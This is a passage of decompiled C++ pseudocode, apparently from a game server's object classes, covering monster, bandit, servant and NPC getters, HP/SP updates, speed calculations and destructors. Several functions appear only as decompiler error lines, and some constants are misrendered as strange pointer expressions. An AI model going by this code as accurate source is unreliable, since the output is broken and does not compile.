BriefInformationMagicField::BriefInformationMagicField(&v1->smfm_MagicFieldBriefInfo); Metronome::Metronome(&v1->smfm_Tick); *(_DWORD *)&v1->gap0[78] = (char *)v1->smfm_MagicFieldBriefInfo.bimfm_BriefInfo + 6; *(_DWORD *)&v1->gap0[82] = &unk_130BDAFC; } // 666F68: using guessed type int (*ShineObjectClass__ShineMagicField___vftable_)(); //----- (0052BCE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMiniHouse::_vftable_; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0] = 0; ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(&v1->smh_Furniture); BriefInformationMiniHouse::BriefInformationMiniHouse(&v1->smh_BriefInfo); v2 = v1->smh_BriefInfo.bimh_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 29; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 37; } // 667C68: using guessed type int (*ShineObjectClass__ShineMiniHouse___vftable_)(); //----- (0052BD90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::_ShineMob(int this) { int v1; // esi@1 void *v2; // eax@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMob::_vftable_; v2 = *(void **)(this + 9040); if ( v2 ) operator delete(v2); *(_DWORD *)(v1 + 9040) = 0; *(_DWORD *)(v1 + 9044) = 0; *(_DWORD *)(v1 + 9048) = 0; List::_List((HitMeList::EnemyList *)(v1 + 8584)); MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(v1 + 7708)); if ( *(_DWORD *)(v1 + 7668) ) operator delete(*(void **)(v1 + 7668)); *(_DWORD *)(v1 + 7668) = 0; *(_DWORD *)(v1 + 7672) = 0; *(_DWORD *)(v1 + 7676) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7468)); TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 7456)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7448)); return ShineObjectClass::ShineMobileObject::_ShineMobileObject((void *)v1); } // 669668: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (0052BE80) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI() { return &ShineObjectClass::ShineMob::m_RTTI; } //----- (0052BE90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 9160); if ( v1 >= 0 ) result = (v1 != 0) + 1; else result = (*(_BYTE *)(**(_DWORD **)(this + 7656) + 103) != 0) + 1; return result; } //----- (0052BEC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this) { return (int)((char *)this + 8992); } //----- (0052BED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this) { return (int)((char *)this + 9000); } //----- (0052BEE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 4) + 68) * *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 4) + 68); } //----- (0052BEF0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this) { int v1; // eax@1 unsigned int result; // eax@2 int v3; // ecx@3 v1 = *(_DWORD *)(this + 7680); if ( v1 >= 0 ) { v3 = 10 * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 8) + 12 * v1) + 75); result = ((signed int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); } else { result = 0; } return result; } //----- (0052BF30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CharName(int this) { return **(_DWORD **)(this + 7656) + 34; } //----- (0052BF40) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this) { int v1; // eax@1 signed int result; // eax@3 v1 = *(_DWORD *)(**((_DWORD **)this + 1914) + 95); if ( v1 == 1 || v1 == 2 ) result = 3; else result = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() != 3; return result; } //----- (0052BF70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, void *array) { int result; // eax@1 result = this; memcpy(array, *(const void **)(this + 7631), 0x7Cu); return result; } //----- (0052BF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2) { int v2; // esi@1 int v3; // eax@3 v2 = (int)this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1228))() == 4 || !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1948))(a2) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, a2, v2 + 7488); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v2 + 2584))(v2, a2); ShineObjectClass::ShineMob::mb_SendMyGuildInfo(v2, a2); } } //----- (0052BFF0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1152))() == 3; } //----- (0052C000) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMob::so_ObjectType() { return 5; } //----- (0052C010) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this) { return *(_BYTE *)(this + 7660); } //----- (0052C020) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this) { int v1; // esi@1 int v2; // edi@1 int v3; // ecx@1 unsigned int result; // eax@1 v1 = *((_DWORD *)this + 1920); v2 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)this + 1914) + 8) + 12 * v1); v3 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 2440) * *(_WORD *)(v2 + 69); result = ((signed int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); if ( (result & 0x80000000u) != 0 ) result = 0; if ( v1 < 0 || !v2 ) result = 99999; return result; } //----- (0052C070) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this) { return (unsigned int)((unsigned int)(50 * *(_DWORD *)(**(_DWORD **)(this + 7656) + 104)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; } //----- (0052C090) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2) { int v2; // eax@1 int result; // eax@3 v2 = *(_DWORD *)(this + 7680); if ( v2 >= 0 && *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 8) + 12 * v2) ) result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 8) + 12 * *(_DWORD *)(this + 7680)) + 105) + (*(int (**)(void))(*(_DWORD *)a2 + 1732))(); else result = 99999; return result; } //----- (0052C0F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this) { return *(_DWORD *)(this + 7656); } //----- (0052C100) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this) { return *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 4) + 90); } //----- (0052C110) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this) { int v1; // eax@1 unsigned int result; // eax@2 v1 = *(_DWORD *)(this + 9164); if ( v1 >= 0 ) result = ((signed int)((unsigned __int64)(v1 * *(_DWORD *)(this + 6816) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v1 * *(_DWORD *)(this + 6816) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); else result = (unsigned int)((unsigned int)(*(_DWORD *)(this + 6816) * *(_DWORD *)(**(_DWORD **)(this + 7656) + 74)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( (result & 0x8000u) != 0 ) result = 0; return result; } //----- (0052C160) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this) { int v1; // eax@1 unsigned int result; // eax@2 v1 = *(_DWORD *)(this + 9168); if ( v1 >= 0 ) result = ((signed int)((unsigned __int64)(v1 * *(_DWORD *)(this + 6816) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v1 * *(_DWORD *)(this + 6816) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); else result = (unsigned int)((unsigned int)(*(_DWORD *)(this + 6816) * *(_DWORD *)(**(_DWORD **)(this + 7656) + 78)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( (result & 0x8000u) != 0 ) result = 0; return result; } //----- (0052C1B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 7476); } //----- (0052C1C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this) { return (int)((char *)this + 7635); } //----- (0052C1D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal) { void *v2; // esi@1 int v3; // eax@1 int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1068))(); *((_DWORD *)v2 + 1870) += ((signed int)((unsigned __int64)(heal * *(_WORD *)(v3 + 3094) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(heal * *(_WORD *)(v3 + 3094) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); if ( *((_DWORD *)v2 + 1870) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); *((_DWORD *)v2 + 1870) = result; } return result; } //----- (0052C230) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this) { return *(_DWORD *)(this + 7480); } //----- (0052C240) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this) { void *v1; // esi@1 int v2; // edi@1 unsigned __int64 v3; // qax@3 v1 = this; v2 = *(_DWORD *)(**((_DWORD **)this + 1914) + 70); if ( *((_DWORD *)this + 2273) ) v2 = *((_DWORD *)this + 2273); v3 = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)this + 1068))(this) + 2444) * (signed __int64)v2 / 0x3E8ui64; *((_DWORD *)v1 + 895) = v3; if ( (signed int)v3 < 1 ) *((_DWORD *)v1 + 895) = 1; return *((_DWORD *)v1 + 895); } //----- (0052C2B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this) { int result; // eax@1 result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 4) + 151); *(_DWORD *)(this + 3584) = result; return result; } //----- (0052C2D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this) { return *(_DWORD *)(this + 7484); } //----- (0052C2E0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7484); if ( result < a2 ) { *(_DWORD *)(this + 7484) = 0; } else { result -= a2; *(_DWORD *)(this + 7484) = result; } return result; } //----- (0052C310) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1871) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1264))(); if ( *((_DWORD *)v2 + 1871) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1264))(v2); *((_DWORD *)v2 + 1871) = result; } return result; } //----- (0052C350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this) { *(_DWORD *)(this + 7480) = 0; } //----- (0052C360) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 7480); if ( result < hp ) { *(_DWORD *)(this + 7480) = 1; } else { result -= hp; *(_DWORD *)(this + 7480) = result; } return result; } //----- (0052C390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp) { void *v2; // esi@1 int result; // eax@1 v2 = this; *((_DWORD *)v2 + 1870) += hp; result = (*(int (**)(void))(*(_DWORD *)this + 1252))(); if ( *((_DWORD *)v2 + 1870) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); *((_DWORD *)v2 + 1870) = result; } return result; } //----- (0052C3D0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 4 * handle; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 4 * handle; } //----- (0052C400) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 7631); if ( *(_BYTE *)(v1 + 14) ) result = (int)&BriefInformationMob::bim_DefStateBit; else result = v1 + 15; return result; } //----- (0052C420) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this) { return ***(_WORD ***)(this + 7656); } //----- (0052C430) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this) { return (int)((char *)this + 9013); } //----- (0052C440) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // esi@1 int v4; // ecx@1 int v5; // ecx@1 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1548))(); v3 = *(_DWORD *)((char *)v1 + 78); v4 = *(_DWORD *)(v3 + 4) - *(_DWORD *)(v2 + 4); v5 = (*(_DWORD *)v3 - *(_DWORD *)v2) * (*(_DWORD *)v3 - *(_DWORD *)v2) + v4 * v4; return (unsigned int)&charclassmanager.ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[31].ort_HeaderList.orchl_fieldname[322] < v5 ? v5 : 0; } //----- (0052C480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8572) + 8))(); } //----- (0052C490) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8572) + 12))(); } //----- (0052C4A0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this) { return *(_DWORD *)(**(_DWORD **)(this + 7656) + 95) != 5; } //----- (0052C4B0) -------------------------------------------------------- #error "52C4B0: undefined or illegal type '#593' (funcsize=10)" //----- (0052C4E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this) { return **(_DWORD **)(this + 7656) + 2; } //----- (0052C4F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this) { return *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 4) + 144); } //----- (0052C510) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can) { char v2; // dl@1 char result; // al@1 v2 = *(_BYTE *)(this + 9008); result = (v2 ^ 2 * can) & 2; *(_BYTE *)(this + 9008) = result ^ v2; return result; } //----- (0052C530) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can) { char result; // al@1 result = (can ^ *(_BYTE *)(this + 9008)) & 1; *(_BYTE *)(this + 9008) ^= result; return result; } //----- (0052C550) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this) { return *(_BYTE *)(this + 9008) & 1; } //----- (0052C560) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this) { char result; // al@2 if ( *(_DWORD *)(this + 9160) >= 0 ) result = *(_BYTE *)(this + 9160); else result = *(_BYTE *)(**(_DWORD **)(this + 7656) + 103); return result; } //----- (0052C580) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this) { return *(_WORD *)(*(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1796))() + 4) + 59); } //----- (0052C590) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_GetbUseNextSkill(int this) { return *(_BYTE *)(this + 7694); } //----- (0052C5A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_SetbUseNextSkill(int this, char UseSkill) { char result; // al@1 result = UseSkill; *(_BYTE *)(this + 7694) = UseSkill; return result; } //----- (0052C5B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_GetNextRoamingWaitTime(int this) { return *(_DWORD *)(this + 9088); } //----- (0052C5C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetNextRoamingWaitTime(int this, int tWaitTime) { int result; // eax@1 result = tWaitTime; *(_DWORD *)(this + 9088) = tWaitTime; return result; } //----- (0052C5D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetDeadDelayTime(int this, int DelayTime) { int result; // eax@1 result = DelayTime; *(_DWORD *)(this + 7704) = DelayTime; return result; } //----- (0052C5E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this) { int v1; // esi@1 int v2; // eax@2 int v3; // ecx@2 AxialListMobKillLog almkl; // [sp+4h] [bp-1Ch]@4 int v5; // [sp+1Ch] [bp-4h]@4 v1 = this; *(_DWORD *)(this + 3852) = clockwatch.cw_CurrTick; if ( !*(_BYTE *)(this + 9012) ) { v2 = *(_DWORD *)(this + 7656); v3 = *(_DWORD *)(v2 + 32); if ( v3 ) { if ( **(_WORD **)v2 == *(_DWORD *)v3 ) { AxialListMobKillLog::AxialListMobKillLog(&almkl, 1, 910, **(_WORD **)v2); v5 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)v1, (int)&almkl, 0); v5 = -1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almkl); } } } *(_BYTE *)(v1 + 9012) = 1; } //----- (0052C680) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this) { void *v1; // esi@1 int result; // eax@2 int v3; // eax@3 v1 = this; if ( *((_DWORD *)this + 1920) >= 0 ) { v3 = (*(int (**)(void))(*(_DWORD *)this + 1284))(); *(_DWORD *)(*((_DWORD *)v1 + 1917) + 4 * *((_DWORD *)v1 + 1920)) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(1000 * (v3 + 99) / 100 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(1000 * (v3 + 99) / 100 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); result = *(_DWORD *)(*((_DWORD *)v1 + 1917) + 4 * *((_DWORD *)v1 + 1920)); } else { result = 0; } return result; } //----- (0052C700) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 66A458: using guessed type int (*ShineObjectClass__ShineBandit___vftable_)(); //----- (0052C710) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this) { return &ShineObjectClass::ShineBandit::m_RTTI; } //----- (0052C720) -------------------------------------------------------- #error "52C720: undefined or illegal type '#593' (funcsize=20)" //----- (0052C760) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo->type == 5; } //----- (0052C780) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo; } //----- (0052C790) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle) { ShineObjectClass::ShineBandit *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xB; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xB; } //----- (0052C7C0) -------------------------------------------------------- ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this) { return &this->sb_MobBriefInfo.bic_BriefInfo->abstatebit; } //----- (0052C7D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array) { PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)array, (int)this->sb_MobBriefInfo.bic_BriefInfo); } //----- (0052C7F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 66B248: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (0052C800) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this) { return &ShineObjectClass::ShineServant::m_RTTI; } //----- (0052C810) -------------------------------------------------------- #error "52C810: undefined or illegal type '#615' (funcsize=23)" //----- (0052C850) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this) { return 10; } //----- (0052C860) -------------------------------------------------------- #error "52C860: undefined or illegal type '#615' (funcsize=8)" //----- (0052C880) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #593 *target) { unsigned int result; // eax@2 if ( this->ss_AIType == 1 ) result = 0; else result = ShineObjectClass::ShineMob::so_AttackRange((int)this, (int)target); return result; } //----- (0052C8A0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle) { ShineObjectClass::ShineServant *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0x13; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 0x13; } //----- (0052C8D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this) { return *(_DWORD *)(this + 9176); } //----- (0052C8E0) -------------------------------------------------------- #error "52C8E0: undefined or illegal type '#615' (funcsize=38)" //----- (0052C960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this) { int v1; // [sp+4h] [bp+4h]@0 *(_DWORD *)&this->gap0[9176] = v1; } // 52C960: inconsistent function type and number of purged bytes //----- (0052C970) -------------------------------------------------------- #error "52C970: undefined or illegal type '#593' (funcsize=2)" //----- (0052C980) -------------------------------------------------------- #error "52C980: undefined or illegal type '#593' (funcsize=11)" //----- (0052C9B0) -------------------------------------------------------- #error "52C9B0: undefined or illegal type '#615' (funcsize=18)" //----- (0052C9F0) -------------------------------------------------------- #error "52C9F0: undefined or illegal type '#615' (funcsize=10)" //----- (0052CA10) -------------------------------------------------------- #error "52CA10: undefined or illegal type 'ListArray' (funcsize=146)" //----- (0052CC60) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xE3u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineAxialFlag::_ShineAxialFlag); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052CCC0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x24CCu, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineBandit::_ShineBandit); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineBandit::_ShineBandit(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052CD20) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x23D8u, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShineMob::_ShineMob); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShineMob::_ShineMob(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } // 52CD20: inconsistent function type and number of purged bytes //----- (0052CD80) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x23F4u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineServant::_ShineServant); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineServant::_ShineServant(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052CDF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 66C038: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (0052CE00) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this) { return &ShineObjectClass::ShineNPC::m_RTTI; } //----- (0052CE10) -------------------------------------------------------- ShineObjectClass::BattleCamp __thiscall 